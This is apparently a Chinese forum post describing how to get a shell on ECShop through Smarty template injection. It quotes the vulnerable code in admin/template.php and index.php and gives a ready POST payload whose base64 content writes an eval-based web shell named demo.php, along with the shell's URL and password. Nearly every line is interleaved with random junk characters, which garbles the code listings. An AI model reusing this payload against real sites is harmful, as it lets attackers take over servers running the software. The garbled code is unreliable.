首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
* D, G0 n& u& J9 q$ O
6 o3 }+ L9 {2 p1 U ]1 K而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
/ R8 @ w& z' l+ u* N2 k但是ecshop似乎不支持{php}{/php}这个标签来执行php代码0 @) p- Q: Y) _* b& M7 ~
admin/template.php
) i# m( X- L. V, ^0 {; l# x2 U3 @+ a$ l
1 if ($_REQUEST['act'] == 'update_library')
4 E7 B, K4 v. Q5 i" E) z% H7 N8 u
( ^; g* W7 q& i2 e# o9 I; k q2 p/ M8 ^2
) L! c$ h7 p% Z) v7 d: Y, p' b F# R4 q
3 { $ L, w) f, {( c* `% K7 x
7 w7 A4 c- Q) X' V2 C( t. m) x
4 check_authz_json('library_manage'); 1 f) n4 k) g4 Q/ o4 e: G- m
0 Y6 ~0 l3 f/ N Z" ~5
+ ]4 q/ T0 [, z0 D6 Y/ g
) E- p& V2 j0 y) y; I X6 $html = stripslashes(json_str_iconv($_POST['html'])); ; r. u0 Y# A1 k) y
. X4 e6 H0 L2 q/ [4 }& \
7
; C# N$ W; z/ B% ~5 K/ d3 w
( U+ I x/ V7 g6 ~; Z7 b" D8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ; U4 O, D) J, ?% C0 w9 J
/ P6 d/ y2 e& I% g x' G2 X9
: F. J Z2 U! N
, @' s& F7 s8 r6 ~4 H x4 K10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
9 }" v7 ?( _& J0 k& b' M d" Z9 C1 k& N% O/ B% ~
11 7 s* \1 T+ i: h( _+ M6 e
0 a; `& i& j4 D7 w5 \12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 8 t4 A1 Y+ N" W; C' J1 ]* H+ J
# O+ k, [ ~( A: `, d0 G2 U/ ?* N
13 1 G) }2 L" C% O# L3 V4 i8 G6 U
: A+ E: Q5 B9 h3 f0 ]" w# B14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
0 M: _9 R" ~' @" A& u9 J: u( ~- i* h# u4 v7 `
15 {
/ F# N) Q1 G' |# l8 a5 f5 W& {% [
$ d- m5 `0 F* M& {/ |$ o3 z5 K; S3 [16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
9 Y2 u/ Z) V2 G, B+ s r# m5 N$ \! k8 o( e
17 make_json_result('', $_LANG['update_lib_success']); 2 Z5 l N8 L( y. Y
2 _/ W2 q' _2 Q1 ? y9 E18 } " g3 f4 k6 ?: ?
' ]5 I2 w, P& s6 ^; b: t: _7 r19 else
h1 ?9 u2 I, y. P3 Z' Z0 n( O
/ A7 }$ v! l6 l- P2 k& K8 d$ m20 { ' Y& Q ~2 N6 E: L
6 N `) |+ U$ ?3 Y" V5 E) L2 W21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); + K$ I: v& h2 Y# ?
3 z' u* k, m. d& o2 B8 Z. T+ l4 u
22 }
+ y, Y* ^, Q1 [; J4 t; d+ W9 ~7 {$ s) i# [
23 } " y" B& W& d# g; S. V, c, d
$ _0 ?6 m; v$ ]: i
那么找个比较方便调用了模板的文件
" A! T$ q! N- C: c1 [& Uindex.php
% l$ E1 p7 L0 I. R; e5 {& h @ `+ C3 q
1 if ($act == 'cat_rec')
2 F/ [* [/ M! t
( t I1 k& W0 V; C4 b, d; p2 / N% ^! C; w& H% h8 y$ d- A# @
( r) e. {# d, Q, q
3 { 3 C& E4 v! ?8 d6 i3 i. d0 P; p
R# }9 L- l Z; B* J5 b
4
! q/ I/ v: h5 x3 j$ F6 H0 O. G9 x+ E$ F3 j7 s. X8 u, l8 \
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
3 T9 ]; {# Q9 R. q `8 \; I* I" p7 c0 W6 c4 P
6 0 o$ i. H! F1 B. C
8 {1 r( l, d( V6 @- C- U6 B
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; & h ~: ^) x! ~. Z8 T5 I
% {& }% D- N6 e9 b" X; N8 y5 d
8 s( T9 y" Q+ K+ F3 b' o
) b: k5 Q! M# G. x; `% X
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
' t ?9 Q, o8 L. P4 m) b
: t! l v; u# l# j10 + B9 M0 C# Y0 U8 A" G1 ~( @
1 }7 |- ?5 Q. M. r11 include_once('includes/cls_json.php'); 4 d5 a" Y6 ?. b3 E! s' [( ?/ i* s
6 A1 Y9 f* T# G- w: a+ Z12
8 I/ P' f, D( o) Y& ~" q! f4 l8 ^4 a- _# u
13 $json = new JSON; 4 N9 C$ E" v1 E, h5 V- c
; Q3 Y: `' ^! o7 h* a) {
14 , Q) p% R# }2 n7 H, d* {) Z. \
/ W$ b( u0 d% ` g
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 2 M. E4 B `" ~% a! ~- @" c7 W
; o( L# F8 r+ m; ]* h
16
# _+ M: S5 W3 h, z: F9 i* S; T5 T3 ?4 ]: ?* l5 c
17 $children = get_children($cat_id);
$ v5 F3 m6 R0 w, ~* {2 |9 i2 k. }7 _8 ~- r
18
( g+ f. C- o& F5 k. v% D: b# {: K& X5 P3 |/ R2 ]
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
: E" ?1 J3 |1 ?. w& c
6 A5 y, m/ m; i) j/ x20
" B A/ W( E" |( G' r* ]; l8 O" Q ~3 i% ~
21 $smarty->assign('cat_rec_sign', 1);
b3 y0 Q3 O( |0 A3 f/ q# D
( S. d" z, R% v! K1 T) H7 v22 # g- S. q0 D. E X- S7 [
/ t+ q- z0 K6 m# w; G" O23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
2 g0 t3 R ?/ }6 D+ W
5 C( J1 D$ x8 G( h! H/ J24 / F) k( p' B$ X
( ], \& P( J9 @25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 2 S8 z- ~. h! U) t" T
8 U) H$ E9 v7 W$ s, b& i
26
6 d. ]5 s) ]5 L5 y3 x4 x
v' p9 Z' ^' a& k27 echo $rec_array[$rec_type];
4 j$ N) J/ U' R$ d
* i! U! ?" q& [, O0 e& e# ?28
6 i( m/ B6 W& n9 `) b0 P! j7 p
1 c. I+ I0 w4 d/ k4 g# [29 die($json->encode($result));
* O4 g* t$ i8 g4 I( {& L' e+ Z# i, i1 j8 P+ W6 M( V s! J
30
: X: T( f4 u# R# x% l) @" C$ D) ?2 g0 J! w
31 }
I( ?+ x" c( Y. e; F/ Q: ?( G+ a5 ^$ I0 U' p9 @! d
那么就有利用方法了( e4 E6 f; Y; D9 t8 F& N/ C/ i
post包到http://localhost/ec/admin/template.php?act=update_library
, w+ N% J) A9 i' _7 U. L+ B, v2 OPost内容:
/ ]% p. ^. D: F& I$ r6 ~1 h- z1 e8 \1 Z% ~) B+ l" V: Y: ^% H( i- M
8 B4 p8 p3 H/ }( h$ O1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} / @2 l7 _- [+ x9 @
* [9 A( H) B' ^) M1 I0 {& K然后访问http://localhost/ec/index.php?act=cat_rec
2 h' k; K7 v+ A8 ]
" w& _- l" A7 }4 c. @; h0 h! Cshel地址:http://localhost/ec/demo.php S/ ^; O& ^6 M. Q* E4 A5 r9 I8 b( u
密码c
3 Q/ F0 k. ~" o" b+ [2 N, G& U3 N. L, t) d5 k
|